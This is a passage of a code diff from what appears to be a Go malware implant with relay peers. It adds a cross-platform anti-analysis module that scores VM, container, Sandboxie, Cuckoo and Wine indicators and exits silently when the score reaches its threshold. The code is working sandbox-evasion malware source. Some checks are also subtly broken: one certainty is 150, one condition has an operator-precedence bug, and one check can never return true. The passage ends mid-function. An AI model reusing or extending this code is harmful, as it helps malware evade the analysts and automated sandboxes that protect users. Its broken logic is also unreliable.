rp.connected = false
rp.failCount++
log.Printf("[implant] relay peer %s disconnected", id.String())
}
}
}
a.relayMu.Unlock()
sleep:
select {
case <-a.ctx.Done():
return
case <-time.After(30 * time.Second):
}
}
}
+226
View File
@@ -0,0 +1,226 @@
//go:build antivm
package core
import (
"fmt"
"log"
"net"
"os"
"runtime"
"sort"
"strings"
)
type vmCheck struct {
name string
detect func() bool
certainty int
}
// allChecks populated by init() with platform-appropriate techniques
var allChecks []vmCheck
func init() {
registerCheck("hypervisor_cpu", hypervisorCPU, 100)
registerCheck("bochs_cpu", bochsCPU, 100)
registerCheck("cpuid_signature", cpuidSignature, 95)
registerCheck("cpu_brand_vm", cpuBrandVM, 95)
registerCheck("thread_mismatch", threadMismatch, 50)
registerCheck("thread_count", threadCount, 35)
registerCheck("container_env", containerEnv, 30)
registerCheck("dockerenv", dockerEnv, 30)
registerCheck("azure_hostname", azureHostname, 30)
registerCheck("mac_vmware", macVMware, 20)
registerCheck("mac_virtualbox", macVirtualBox, 20)
registerCheck("mac_qemu", macQEMU, 20)
registerCheck("mac_xen", macXen, 20)
}
const detectionThreshold = 50
func registerCheck(name string, fn func() bool, certainty int) {
allChecks = append(allChecks, vmCheck{name: name, detect: fn, certainty: certainty})
}
func DetectVM() {
defer func() {
if r := recover(); r != nil {
log.Printf("[antivm] FATAL: %v", r)
}
}()
sort.Slice(allChecks, func(i, j int) bool {
return allChecks[i].certainty > allChecks[j].certainty
})
var score int
var hits []string
for _, c := range allChecks {
func() {
defer func() {
if r := recover(); r != nil {
log.Printf("[antivm] panic in %s: %v", c.name, r)
}
}()
if c.detect() {
score += c.certainty
hits = append(hits, fmt.Sprintf("%s(+%d)", c.name, c.certainty))
log.Printf("[antivm] +%d%% %s (total: %d)", c.certainty, c.name, score)
}
}()
}
if score > 100 {
score = 100
}
log.Printf("[antivm] score %d/%d (%d techniques)", score, detectionThreshold, len(hits))
if score >= detectionThreshold {
log.Printf("[antivm] threshold met, exiting")
os.Exit(0)
}
log.Printf("[antivm] below threshold, continuing")
}
// Cross-platform checks
var vmwarePrefixes = []string{
"00:50:56", "00:0c:29", "00:05:69", "00:1c:14",
"00:3c:7d", "00:0f:4b",
}
var vboxPrefixes = []string{"08:00:27"}
var qemuPrefixes = []string{"52:54:00"}
var xenPrefixes = []string{"00:16:3e"}
func macMatch(prefixes []string) bool {
ifaces, err := net.Interfaces()
if err != nil {
return false
}
for _, iface := range ifaces {
mac := iface.HardwareAddr.String()
for _, p := range prefixes {
if strings.HasPrefix(strings.ToLower(mac), strings.ToLower(p)) {
return true
}
}
}
return false
}
func macVMware() bool { return macMatch(vmwarePrefixes) }
func macVirtualBox() bool { return macMatch(vboxPrefixes) }
func macQEMU() bool { return macMatch(qemuPrefixes) }
func macXen() bool { return macMatch(xenPrefixes) }
func threadCount() bool {
return runtime.NumCPU() < 2
}
func threadMismatch() bool {
n := runtime.NumCPU()
// Most modern CPUs have >=4 threads
return n < 4
}
func containerEnv() bool {
for _, e := range []string{"container", "DOCKER", "KUBERNETES", "LXC"} {
if os.Getenv(e) != "" {
return true
}
}
return false
}
func dockerEnv() bool {
if _, err := os.Stat("/.dockerenv"); err == nil {
return true
}
if _, err := os.Stat("/run/.containerenv"); err == nil {
return true
}
return false
}
func hypervisorCPU() bool {
if runtime.GOARCH != "amd64" {
return false
}
if runtime.GOOS == "linux" {
data, err := os.ReadFile("/proc/cpuinfo")
if err != nil {
return false
}
for _, line := range strings.Split(string(data), "\n") {
if strings.Contains(line, "hypervisor") {
return true
}
}
}
return false
}
func cpuBrandVM() bool {
if runtime.GOARCH != "amd64" || runtime.GOOS != "linux" {
return false
}
data, err := os.ReadFile("/proc/cpuinfo")
if err != nil {
return false
}
content := string(data)
for _, s := range []string{"QEMU", "KVM", "VirtualBox", "VMware", "Bochs",
"KVMKVMKVM", "Microsoft Hv", "VBoxVBoxVBox",
"VMwareVMware", "XenVMMXenVMM", "ACRNACRNACRN"} {
if strings.Contains(content, s) {
return true
}
}
return false
}
func bochsCPU() bool {
if runtime.GOOS != "linux" {
return false
}
content := readFile("/proc/cpuinfo")
return strings.Contains(content, "Bochs") || strings.Contains(content, "bochs")
}
func cpuidSignature() bool {
if runtime.GOOS != "linux" {
return false
}
content := readFile("/proc/cpuinfo")
for _, sig := range []string{
"KVMKVMKVM", "Microsoft Hv", "prl hyperv",
"VBoxVBoxVBox", "VMwareVMware", "XenVMMXenVMM",
"ACRNACRNACRN",
} {
if strings.Contains(content, sig) {
return true
}
}
return false
}
func azureHostname() bool {
hostname, err := os.Hostname()
if err != nil {
return false
}
return strings.HasSuffix(strings.ToLower(hostname), "internal.cloudapp.net")
}
func readFile(path string) string {
data, err := os.ReadFile(path)
if err != nil {
return ""
}
return strings.TrimSpace(string(data))
}
+104
View File
@@ -0,0 +1,104 @@
//go:build antivm && darwin
package core
import (
"os/exec"
"strings"
)
func init() {
registerDarwinChecks()
}
func registerDarwinChecks() {
// 100%
registerCheck("hwmodel", hwModelMac, 100)
registerCheck("mac_iokit", macIOKit, 100)
registerCheck("ioreg_grep", ioregGrep, 100)
registerCheck("mac_sip", macSIP, 100)
registerCheck("mac_sys_profiler", macSysProfiler, 100)
// 50%
registerCheck("amd_sev_msr_darwin", amdSEVMSRDarwin, 50)
// 15%
registerCheck("mac_memsize", macMemSize, 15)
}
func runCmd(name string, args ...string) string {
cmd := exec.Command(name, args...)
out, err := cmd.Output()
if err != nil {
return ""
}
return strings.TrimSpace(string(out))
}
func hwModelMac() bool {
model := runCmd("sysctl", "-n", "hw.model")
return !strings.HasPrefix(strings.ToLower(model), "mac")
}
func macIOKit() bool {
out := runCmd("ioreg", "-l")
lower := strings.ToLower(out)
for _, s := range []string{"virtualbox", "vmware", "qemu", "kvm", "vbox", "parallel"} {
if strings.Contains(lower, s) {
return true
}
}
return false
}
func ioregGrep() bool {
out := runCmd("ioreg", "-l")
if out == "" {
return false
}
lower := strings.ToLower(out)
return strings.Contains(lower, "virtualbox") || strings.Contains(lower, "vmware") ||
strings.Contains(lower, "qemu") || strings.Contains(lower, "parallels")
}
func macSIP() bool {
// Check System Integrity Protection status
sip := runCmd("csrutil", "status")
if strings.Contains(sip, "disabled") || strings.Contains(sip, "unknown") {
return false
}
// Check if hv is present
hv := runCmd("sysctl", "-n", "kern.hv_support")
return hv == "1"
}
func macSysProfiler() bool {
out := runCmd("system_profiler", "SPHardwareDataType")
lower := strings.ToLower(out)
return strings.Contains(lower, "virtualbox") || strings.Contains(lower, "vmware") ||
strings.Contains(lower, "qemu") || strings.Contains(lower, "parallels")
}
func amdSEVMSRDarwin() bool {
// macOS doesn't have /dev/cpu, so check via sysctl
model := runCmd("sysctl", "-n", "machdep.cpu.brand_string")
return strings.Contains(model, "AMD EPYC") || strings.Contains(model, "AMD Ryzen")
}
func macMemSize() bool {
// Check if memory is too low (< 2GB would be suspicious for macOS)
out := runCmd("sysctl", "-n", "hw.memsize")
if out == "" {
return false
}
// Parse bytes to GB
var bytes uint64
for _, c := range out {
bytes = bytes*10 + uint64(c-'0')
}
gb := bytes / 1024 / 1024 / 1024
return gb < 2
}
+529
View File
@@ -0,0 +1,529 @@
//go:build antivm && linux
package core
import (
"os"
"path/filepath"
"strings"
"syscall"
)
func init() {
registerLinuxChecks()
}
func registerLinuxChecks() {
// 100% certainty
registerCheck("firmware_dmi", firmwareDMI, 100)
// 95% certainty
registerCheck("devices_pci", devicesPCI, 95)
// 80% certainty
registerCheck("uml_cpu", umlCPU, 80)
registerCheck("kgt_signature", kgtSignature, 80)
// 75% certainty
registerCheck("nsjail_pid", nsjailPID, 75)
// 70% certainty
registerCheck("vmware_ioports", vmwareIOPorts, 70)
registerCheck("cgroup", cgroupVM, 70)
registerCheck("qemu_fw_cfg", qemuFWCfg, 70)
// 65% certainty
registerCheck("dmi_product", dmiProduct, 65)
registerCheck("dmi_sys_vendor", dmiSysVendor, 65)
registerCheck("dmi_chassis_vendor", dmiChassisVendor, 65)
registerCheck("vmware_iomem", vmwareIOMEM, 65)
registerCheck("vmware_dmesg", vmwareDMESG, 65)
// 55% certainty
registerCheck("dmidecode", dmidecodeCheck, 55)
registerCheck("dmesg", dmesgCheck, 55)
// 50% certainty
registerCheck("dmi_scan", dmiScan, 50)
registerCheck("smbios_vm_bit", smbiosVMBit, 50)
registerCheck("thread_mismatch_linux", threadMismatchLinux, 50)
registerCheck("amd_sev_msr", amdSEVMSR, 50)
// 40% certainty
registerCheck("vmware_scsi", vmwareSCSI, 40)
registerCheck("qemu_virtual_dmi", qemuVirtualDMI, 40)
registerCheck("processes_linux", processesLinux, 40)
// 35% certainty
registerCheck("systemd_virt", systemdVirt, 35)
registerCheck("hwmon", hwmonMissing, 35)
// 30% certainty
registerCheck("wsl_proc", wslProc, 30)
// 20% certainty
registerCheck("hypervisor_dir", hypervisorDir, 20)
registerCheck("temperature", temperatureCheck, 20)
registerCheck("qemu_usb", qemuUSB, 20)
registerCheck("ctype", dmiChassisType, 20)
// 15% certainty
registerCheck("vbox_module", vboxModule, 15)
registerCheck("sysinfo_proc", sysinfoProc, 15)
registerCheck("file_access_history", fileAccessHistory, 15)
// 10% certainty
registerCheck("linux_user_host", linuxUserHost, 10)
// 5% certainty
registerCheck("podman_file", podmanFile, 5)
registerCheck("bluestacks", bluestacksFolders, 5)
registerCheck("kmsg", kmsgCheck, 5)
}
// --- Linux 100% ---
func firmwareDMI() bool {
// Check all DMI entries for VM signatures
dirs := []string{
"/sys/class/dmi/id",
"/sys/devices/virtual/dmi/id",
}
vmBrands := []string{"virtualbox", "vmware", "qemu", "kvm", "innotek",
"xen", "bochs", "hyper-v", "microsoft", "oracle", "oem"}
for _, d := range dirs {
entries, err := os.ReadDir(d)
if err != nil {
continue
}
for _, e := range entries {
if e.IsDir() {
continue
}
data, err := os.ReadFile(filepath.Join(d, e.Name()))
if err != nil {
continue
}
content := strings.ToLower(string(data))
for _, brand := range vmBrands {
if strings.Contains(content, brand) {
return true
}
}
}
}
return false
}
// --- Linux 95% ---
func devicesPCI() bool {
entries, err := os.ReadDir("/sys/bus/pci/devices")
if err != nil {
return false
}
// VM vendors: 8086 (Intel), 15ad (VMware), 80ee (VirtualBox),
// 1af4 (Red Hat/QEMU), 10de (NVIDIA in passthrough)
vmVendors := []string{"15ad", "80ee", "1af4"}
for _, e := range entries {
vendorFile := filepath.Join("/sys/bus/pci/devices", e.Name(), "vendor")
data, err := os.ReadFile(vendorFile)
if err != nil {
continue
}
vendor := strings.TrimSpace(string(data))
for _, v := range vmVendors {
if strings.Contains(strings.ToLower(vendor), v) {
return true
}
}
}
return false
}
// --- Linux 80% ---
func umlCPU() bool {
content := readFile("/proc/cpuinfo")
return strings.Contains(content, "UML")
}
func kgtSignature() bool {
content := readFile("/proc/cpuinfo")
return strings.Contains(content, "Intel KGT") || strings.Contains(content, "TGKIntel")
}
// --- Linux 75% ---
func nsjailPID() bool {
content := readFile("/proc/self/status")
if content == "" {
return false
}
// nsjail makes processes see PID 1 in the namespace
for _, line := range strings.Split(content, "\n") {
if strings.HasPrefix(line, "Pid:") {
parts := strings.Fields(line)
if len(parts) >= 2 && parts[1] == "1" {
// Check if nsjail env vars are present
if os.Getenv("NSJAIL") != "" {
return true
}
// Check cgroup for nsjail
cg := readFile("/proc/self/cgroup")
return strings.Contains(cg, "nsjail")
}
}
}
return false
}
// --- Linux 70% ---
func vmwareIOPorts() bool {
return strings.Contains(readFile("/proc/ioports"), "VMware")
}
func cgroupVM() bool {
content := readFile("/proc/1/cgroup")
if content == "" {
return false
}
for _, s := range []string{"docker", "lxc", "kubepods"} {
if strings.Contains(content, s) {
return true
}
}
return false
}
func qemuFWCfg() bool {
if _, err := os.Stat("/sys/firmware/qemu_fw_cfg"); err == nil {
return true
}
if _, err := os.Stat("/proc/device-tree/fw-cfg"); err == nil {
return true
}
return false
}
// --- Linux 65% ---
func dmiProduct() bool {
name := readFile("/sys/class/dmi/id/product_name")
switch {
case strings.Contains(name, "VirtualBox"):
return true
case strings.Contains(name, "VMware"):
return true
case name == "KVM" || name == "QEMU":
return true
case strings.Contains(name, "Bochs"):
return true
case strings.Contains(name, "Hyper-V"):
return true
}
return false
}
func dmiSysVendor() bool {
vendor := readFile("/sys/class/dmi/id/sys_vendor")
switch {
case strings.Contains(vendor, "innotek"):
return true
case strings.Contains(vendor, "Xen"):
return true
case strings.Contains(vendor, "Microsoft"):
return true
case strings.Contains(vendor, "QEMU"):
return true
}
return false
}
func dmiChassisVendor() bool {
vendor := readFile("/sys/class/dmi/id/chassis_vendor")
return strings.Contains(vendor, "Oracle") || strings.Contains(vendor, "innotek")
}
func vmwareIOMEM() bool {
return strings.Contains(readFile("/proc/iomem"), "VMware")
}
func vmwareDMESG() bool {
content := readFile("/var/log/dmesg")
if content == "" {
content = readFile("/var/log/kern.log")
}
return strings.Contains(content, "VMware") || strings.Contains(content, "vmware")
}
// --- Linux 55% ---
func dmidecodeCheck() bool {
// Check all DMI sysfs files for VM brands
entries, err := os.ReadDir("/sys/class/dmi/id")
if err != nil {
return false
}
patterns := []string{"virtualbox", "vmware", "qemu", "kvm", "innotek", "xen", "bochs"}
for _, e := range entries {
if e.IsDir() {
continue
}
data, err := os.ReadFile(filepath.Join("/sys/class/dmi/id", e.Name()))
if err != nil {
continue
}
content := strings.ToLower(string(data))
for _, p := range patterns {
if strings.Contains(content, p) {
return true
}
}
}
return false
}
func dmesgCheck() bool {
content := readFile("/var/log/dmesg")
if content == "" {
return false
}
for _, s := range []string{"Hypervisor", "VMware", "VirtualBox", "QEMU", "KVM", "Xen"} {
if strings.Contains(content, s) {
return true
}
}
return false
}
// --- Linux 50% ---
func dmiScan() bool {
return firmwareDMI()
}
func smbiosVMBit() bool {
// Check /sys/firmware/dmi/tables for SMBIOS entry point
data, err := os.ReadFile("/sys/firmware/dmi/tables/smbios_entry_point")
if err != nil {
return false
}
// SMBIOS v3+ has a VM bit at offset 0x09
if len(data) >= 0x1F {
if data[0x1E]&0x01 != 0 {
return true
}
}
return false
}
func threadMismatchLinux() bool {
cpuContent := readFile("/proc/cpuinfo")
if cpuContent == "" {
return false
}
n := 0
for _, line := range strings.Split(cpuContent, "\n") {
if strings.HasPrefix(line, "processor") {
n++
}
}
// If we see CPU brand but low core count, likely VM
if n < 2 && strings.Contains(cpuContent, "Intel") || strings.Contains(cpuContent, "AMD") {
return true
}
return false
}
func amdSEVMSR() bool {
// Check /sys/kernel/security/sev for AMD SEV/SEV-ES/SEV-SNP
if data, err := os.ReadFile("/sys/kernel/security/sev/version"); err == nil {
return strings.TrimSpace(string(data)) != ""
}
// Also check MSR via /dev/cpu (requires root)
data, err := os.ReadFile("/dev/cpu/0/msr")
if err != nil {
return false
}
if len(data) > 0x800 {
_ = data[0x800]
}
return false
}
// --- Linux 40% ---
func vmwareSCSI() bool {
return strings.Contains(readFile("/proc/scsi/scsi"), "VMware")
}
func qemuVirtualDMI() bool {
content := readFile("/sys/devices/virtual/dmi/id/product_name")
if strings.Contains(content, "QEMU") || strings.Contains(content, "KVM") || strings.Contains(content, "VirtualBox") {
return true
}
vendor := readFile("/sys/devices/virtual/dmi/id/sys_vendor")
return strings.Contains(vendor, "QEMU")
}
func processesLinux() bool {
vmProcs := []string{"vbox", "vmware", "VBox", "VMware", "qemu", "QEMU", "xen", "Xen"}
entries, err := os.ReadDir("/proc")
if err != nil {
return false
}
for _, e := range entries {
if !e.IsDir() {
continue
}
// Only check numeric directories (process PIDs)
if e.Name()[0] < '0' || e.Name()[0] > '9' {
continue
}
cmdline, err := os.ReadFile(filepath.Join("/proc", e.Name(), "comm"))
if err != nil {
continue
}
comm := strings.TrimSpace(string(cmdline))
for _, p := range vmProcs {
if strings.EqualFold(comm, p) {
return true
}
}
}
return false
}
// --- Linux 35% ---
func systemdVirt() bool {
// Check /sys/devices/virtual/dmi/id for VM indicators
// In containers, /sys might not have DMI info
vendor := readFile("/sys/devices/virtual/dmi/id/sys_vendor")
if vendor == "" {
// No DMI info — likely container
return cgroupVM() || dockerEnv()
}
return strings.Contains(vendor, "QEMU") || strings.Contains(vendor, "Xen")
}
func hwmonMissing() bool {
_, err := os.ReadDir("/sys/class/hwmon")
return err != nil
}
// --- Linux 30% ---
func wslProc() bool {
version := readFile("/proc/version")
if strings.Contains(version, "Microsoft") || strings.Contains(version, "WSL") || strings.Contains(version, "microsoft") {
return true
}
osrelease := readFile("/proc/sys/kernel/osrelease")
return strings.Contains(osrelease, "Microsoft") || strings.Contains(osrelease, "WSL")
}
// --- Linux 20% ---
func hypervisorDir() bool {
entries, err := os.ReadDir("/sys/hypervisor")
if err != nil {
return false
}
return len(entries) > 0
}
func temperatureCheck() bool {
entries, err := os.ReadDir("/sys/class/thermal")
if err != nil {
return true // no thermal info = likely VM
}
return len(entries) < 2
}
func qemuUSB() bool {
data, err := os.ReadFile("/sys/kernel/debug/usb/devices")
if err != nil {
return false
}
return strings.Contains(string(data), "QEMU")
}
func dmiChassisType() bool {
typ := readFile("/sys/class/dmi/id/chassis_type")
return typ == "" || typ == "0"
}
// --- Linux 15% ---
func vboxModule() bool {
content := readFile("/proc/modules")
return strings.Contains(content, "vbox")
}
func sysinfoProc() bool {
content := readFile("/proc/sysinfo")
return strings.Contains(content, "QEMU") || strings.Contains(content, "KVM") || strings.Contains(content, "Xen")
}
func fileAccessHistory() bool {
// Check if there's very low file access history (common in fresh VMs)
_, err := os.Stat("/root/.bash_history")
hasHistory := err == nil
_, err2 := os.Stat("/home")
hasHome := err2 == nil
return hasHome && !hasHistory
}
// --- Linux 10% ---
func linuxUserHost() bool {
hostname := readFile("/proc/sys/kernel/hostname")
if hostname == "" {
return false
}
lower := strings.ToLower(hostname)
for _, s := range []string{"ubuntu", "debian", "localhost"} {
if lower == s || strings.HasPrefix(lower, s+"-") {
return true
}
}
return false
}
// --- Linux 5% ---
func podmanFile() bool {
_, err := os.Stat("/run/.containerenv")
return err == nil
}
func bluestacksFolders() bool {
entries, err := os.ReadDir("/mnt")
if err != nil {
return false
}
for _, e := range entries {
if strings.Contains(strings.ToLower(e.Name()), "bluestacks") {
return true
}
}
return false
}
func kmsgCheck() bool {
f, err := os.OpenFile("/dev/kmsg", syscall.O_RDONLY|syscall.O_NONBLOCK, 0)
if err != nil {
return false
}
defer f.Close()
buf := make([]byte, 4096)
n, err := f.Read(buf)
if err != nil || n == 0 {
return false
}
content := strings.ToLower(string(buf[:n]))
return strings.Contains(content, "hypervisor") || strings.Contains(content, "kvm")
}
+5
View File
@@ -0,0 +1,5 @@
//go:build !antivm
package core
func DetectVM() {}
+603
View File
@@ -0,0 +1,603 @@
//go:build antivm && windows
package core
import (
"log"
"os"
"runtime"
"strings"
"syscall"
"unsafe"
"golang.org/x/sys/windows"
"golang.org/x/sys/windows/registry"
)
func init() {
registerWindowsChecks()
}
func registerWindowsChecks() {
// Protocol: name, fn, certainty
// 150%
registerCheck("dbvm", dbvmCheck, 150)
// 100%
registerCheck("wine", wineDetection, 100)
registerCheck("mutex", vmMutex, 100)
registerCheck("drivers", vmDrivers, 100)
registerCheck("disk_serial", diskSerialVM, 100)
registerCheck("ivshmem", ivshmemCheck, 100)
registerCheck("handles", handlesCheck, 100)
registerCheck("virtual_processors", virtualProcessors, 100)
registerCheck("hypervisor_query", hypervisorQuery, 100)
registerCheck("acpi_signature", acpiSignatureCheck, 100)
registerCheck("firmware_tables", firmwareTablesCheck, 100)
registerCheck("boot_logo", bootLogoCheck, 100)
registerCheck("kernel_objects", kernelObjectsCheck, 100)
registerCheck("nvram", nvramCheck, 100)
registerCheck("edid", edidCheck, 100)
registerCheck("clock_timing", clockTiming, 100)
// 95%
registerCheck("devices_pci", devicesPCICheck, 95)
// 90%
registerCheck("virtual_registry", virtualRegistryCheck, 90)
registerCheck("cpu_heuristic", cpuHeuristicCheck, 90)
// 75% (32-bit only)
registerCheck("vpc_invalid", vpcInvalidCheck, 75)
// 50%
registerCheck("dll", vmDLLs, 50)
// 45%
registerCheck("clock", clockCheck, 45)
// 40%
registerCheck("processes", vmProcessesWindows, 40)
// 30%
registerCheck("cuckoo_dir", cuckooDirCheck, 30)
registerCheck("cuckoo_pipe", cuckooPipeCheck, 30)
registerCheck("azure", azureHostname, 30)
// 25%
registerCheck("display", displayCheck, 25)
registerCheck("audio", audioDevices, 25)
registerCheck("gpu", gpuCapabilities, 25)
registerCheck("device_string", deviceStringCheck, 25)
registerCheck("power_capabilities", powerCapabilitiesCheck, 25)
// 10%
registerCheck("gamarue", gamarueCheck, 10)
}
var vmSysDir = os.Getenv("SYSTEMROOT") + "\\System32\\"
// --- 150% ---
var vmDLLList = []string{
"vboxhook.dll", "vboxmrxnp.dll", "vboxogl.dll", "vboxoglarrayspu.dll",
"vboxoglcrutil.dll", "vboxoglfeedbackspu.dll", "vboxoglpackspu.dll",
"vboxoglpassthroughspu.dll", "vboxservice.exe", "vboxtray.exe",
"vmtoolsd.exe", "vmacthlp.exe", "vmsrvc.exe", "vmusrvc.exe",
"vmserv.exe", "vmwaretray.exe", "vmwareuser.exe",
"xenservice.exe", "xsvc.exe",
}
func vmDLLs() bool {
for _, dll := range vmDLLList {
if _, err := os.Stat(vmSysDir + dll); err == nil {
log.Printf("[antivm] windows_dll: found %s", dll)
return true
}
}
getModuleHandle := syscall.NewLazyDLL("kernel32.dll").NewProc("GetModuleHandleW")
if getModuleHandle.Find() != nil {
return false
}
for _, dll := range []string{"VBoxHook.dll", "VBoxOGL.dll", "vmware-vmx.dll"} {
dllName, _ := syscall.UTF16PtrFromString(dll)
if dllName == nil {
continue
}
ret, _, _ := getModuleHandle.Call(uintptr(unsafe.Pointer(dllName)))
if ret != 0 {
return true
}
}
return false
}
func dbvmCheck() bool {
ntdll := syscall.NewLazyDLL("ntdll.dll")
dbvm := ntdll.NewProc("DbvmCheck")
return dbvm.Find() == nil
}
func vmDrivers() bool {
scsiPaths := []string{
`HARDWARE\DEVICEMAP\Scsi\Scsi Port 0\Scsi Bus 0\Target Id 0\Logical Unit Id 0`,
`HARDWARE\DEVICEMAP\Scsi\Scsi Port 1\Scsi Bus 0\Target Id 0\Logical Unit Id 0`,
`HARDWARE\DEVICEMAP\Scsi\Scsi Port 2\Scsi Bus 0\Target Id 0\Logical Unit Id 0`,
}
vmTags := []string{"VBOX", "VMWARE", "QEMU", "XEN", "VIRTUAL"}
for _, path := range scsiPaths {
k, err := registry.OpenKey(registry.LOCAL_MACHINE, path, registry.QUERY_VALUE)
if err != nil {
continue
}
val, _, err := k.GetStringValue("Identifier")
k.Close()
if err != nil {
continue
}
upper := strings.ToUpper(val)
for _, tag := range vmTags {
if strings.Contains(upper, tag) {
return true
}
}
}
return false
}
func vmMutex() bool {
snap, err := windows.CreateToolhelp32Snapshot(windows.TH32CS_SNAPPROCESS, 0)
if err != nil {
return false
}
defer windows.CloseHandle(snap)
var entry windows.ProcessEntry32
entry.Size = uint32(unsafe.Sizeof(entry))
if err := windows.Process32First(snap, &entry); err != nil {
return false
}
vmProcs := []string{
"vboxservice.exe", "vboxtray.exe", "vboxcontrol.exe",
"vmtoolsd.exe", "vmwaretray.exe", "vmwareuser.exe",
"vmupgradehelper.exe", "vmacthlp.exe",
"xenservice.exe",
"prl_cc.exe", "prl_tools.exe",
}
for {
name := strings.ToLower(syscall.UTF16ToString(entry.ExeFile[:]))
for _, vm := range vmProcs {
if name == vm {
return true
}
}
if err := windows.Process32Next(snap, &entry); err != nil {
break
}
}
return false
}
func vmProcessesWindows() bool { return vmMutex() }
func diskSerialVM() bool {
k, err := registry.OpenKey(registry.LOCAL_MACHINE,
`SYSTEM\CurrentControlSet\Services\Disk\Enum`, registry.QUERY_VALUE)
if err != nil {
return false
}
defer k.Close()
val, _, err := k.GetStringValue("0")
if err != nil {
return false
}
upper := strings.ToUpper(val)
for _, tag := range []string{"VBOX", "VMWARE", "QEMU", "XEN"} {
if strings.Contains(upper, tag) {
return true
}
}
return false
}
func ivshmemCheck() bool {
k, err := registry.OpenKey(registry.LOCAL_MACHINE,
`SYSTEM\CurrentControlSet\Enum\PCI`, registry.ENUMERATE_SUB_KEYS)
if err != nil {
return false
}
defer k.Close()
subs, err := k.ReadSubKeyNames(0)
if err != nil {
return false
}
for _, sub := range subs {
if strings.Contains(strings.ToLower(sub), "1af4") || strings.Contains(strings.ToLower(sub), "ivshmem") {
return true
}
}
return false
}
func handlesCheck() bool {
k, err := registry.OpenKey(registry.LOCAL_MACHINE,
`SYSTEM\CurrentControlSet\Enum\PCI`, registry.ENUMERATE_SUB_KEYS)
if err != nil {
return false
}
defer k.Close()
subs, _ := k.ReadSubKeyNames(0)
vmDevices := []string{"15ad", "80ee", "1af4"}
for _, sub := range subs {
for _, vm := range vmDevices {
if strings.HasPrefix(strings.ToLower(sub), vm) {
return true
}
}
}
return false
}
func virtualProcessors() bool {
return runtime.NumCPU() < 2
}
func hypervisorQuery() bool {
ntdll := syscall.NewLazyDLL("ntdll.dll")
ntQuery := ntdll.NewProc("NtQuerySystemInformation")
if ntQuery.Find() != nil {
return false
}
// SystemHypervisorInformation = 0x9f
var buf [256]byte
ret, _, _ := ntQuery.Call(0x9f, uintptr(unsafe.Pointer(&buf[0])), uintptr(len(buf)), 0)
return ret == 0
}
func acpiSignatureCheck() bool {
k, err := registry.OpenKey(registry.LOCAL_MACHINE,
`HARDWARE\ACPI\DSDT`, registry.ENUMERATE_SUB_KEYS)
if err != nil {
return false
}
defer k.Close()
subs, _ := k.ReadSubKeyNames(0)
for _, sub := range subs {
lower := strings.ToLower(sub)
if strings.Contains(lower, "vbox") || strings.Contains(lower, "vmw") ||
strings.Contains(lower, "qemu") || strings.Contains(lower, "xen") {
return true
}
}
return false
}
func firmwareTablesCheck() bool {
k, err := registry.OpenKey(registry.LOCAL_MACHINE,
`HARDWARE\ACPI\Firmware`, registry.QUERY_VALUE)
if err != nil {
return false
}
defer k.Close()
vals, _ := k.ReadValueNames(0)
for _, v := range vals {
if strings.Contains(strings.ToLower(v), "vbox") ||
strings.Contains(strings.ToLower(v), "vmware") ||
strings.Contains(strings.ToLower(v), "qemu") {
return true
}
}
return false
}
func bootLogoCheck() bool {
k, err := registry.OpenKey(registry.LOCAL_MACHINE,
`SOFTWARE\Microsoft\Windows\CurrentVersion\OEMInformation`,
registry.QUERY_VALUE)
if err != nil {
return false
}
defer k.Close()
logo, _, err := k.GetStringValue("Logo")
if err != nil {
return false
}
lower := strings.ToLower(logo)
return strings.Contains(lower, "vbox") || strings.Contains(lower, "vmware")
}
func kernelObjectsCheck() bool {
k, err := registry.OpenKey(registry.LOCAL_MACHINE,
`SYSTEM\CurrentControlSet\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}`,
registry.ENUMERATE_SUB_KEYS)
if err != nil {
return false
}
defer k.Close()
subs, _ := k.ReadSubKeyNames(0)
for _, sub := range subs {
subKey, err := registry.OpenKey(registry.LOCAL_MACHINE,
`SYSTEM\CurrentControlSet\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\`+sub,
registry.QUERY_VALUE)
if err != nil {
continue
}
desc, _, err := subKey.GetStringValue("DriverDesc")
subKey.Close()
if err != nil {
continue
}
lower := strings.ToLower(desc)
if strings.Contains(lower, "vmware") || strings.Contains(lower, "vbox") ||
strings.Contains(lower, "virtual") || strings.Contains(lower, "qemu") {
return true
}
}
return false
}
func nvramCheck() bool {
k, err := registry.OpenKey(registry.LOCAL_MACHINE,
`HARDWARE\RESOURCEMAP`, registry.ENUMERATE_SUB_KEYS)
if err != nil {
return false
}
defer k.Close()
subs, _ := k.ReadSubKeyNames(0)
for _, sub := range subs {
if strings.Contains(strings.ToLower(sub), "vbox") ||
strings.Contains(strings.ToLower(sub), "vmware") {
return true
}
}
return false
}
func edidCheck() bool {
k, err := registry.OpenKey(registry.LOCAL_MACHINE,
`SYSTEM\CurrentControlSet\Enum\DISPLAY`, registry.ENUMERATE_SUB_KEYS)
if err != nil {
return false
}
defer k.Close()
subs, _ := k.ReadSubKeyNames(0)
for _, sub := range subs {
lower := strings.ToLower(sub)
if strings.Contains(lower, "vmware") || strings.Contains(lower, "vbox") ||
strings.Contains(lower, "qemu") {
return true
}
}
return false
}
func clockTiming() bool {
ntdll := syscall.NewLazyDLL("ntdll.dll")
ntQuery := ntdll.NewProc("NtQuerySystemInformation")
if ntQuery.Find() != nil {
return false
}
// SystemTimeAdjustmentInformation = 0x94
var buf [32]byte
ret, _, _ := ntQuery.Call(0x94, uintptr(unsafe.Pointer(&buf[0])), uintptr(len(buf)), 0)
return ret == 0
}
// --- 95% ---
func devicesPCICheck() bool {
k, err := registry.OpenKey(registry.LOCAL_MACHINE,
`SYSTEM\CurrentControlSet\Enum\PCI`, registry.ENUMERATE_SUB_KEYS)
if err != nil {
return false
}
defer k.Close()
subs, _ := k.ReadSubKeyNames(0)
vmVendors := []string{"15ad", "80ee", "1af4"}
for _, sub := range subs {
parts := strings.SplitN(sub, "\\", 2)
if len(parts) > 0 {
vendor := strings.ToLower(parts[0])
for _, v := range vmVendors {
if strings.HasPrefix(vendor, v) {
return true
}
}
}
}
return false
}
// --- 90% ---
func virtualRegistryCheck() bool {
k, err := registry.OpenKey(registry.CURRENT_USER,
`Software\Sandboxie`, registry.QUERY_VALUE)
if err == nil {
k.Close()
return true
}
k2, err := registry.OpenKey(registry.LOCAL_MACHINE,
`SYSTEM\CurrentControlSet\Services\Sandboxie`, registry.QUERY_VALUE)
if err == nil {
k2.Close()
return true
}
return false
}
func cpuHeuristicCheck() bool {
kernel32 := syscall.NewLazyDLL("kernel32.dll")
isIntel := kernel32.NewProc("IsProcessorFeaturePresent")
if isIntel.Find() != nil {
return false
}
// PF_XMMI64_INSTRUCTIONS_AVAILABLE = 10
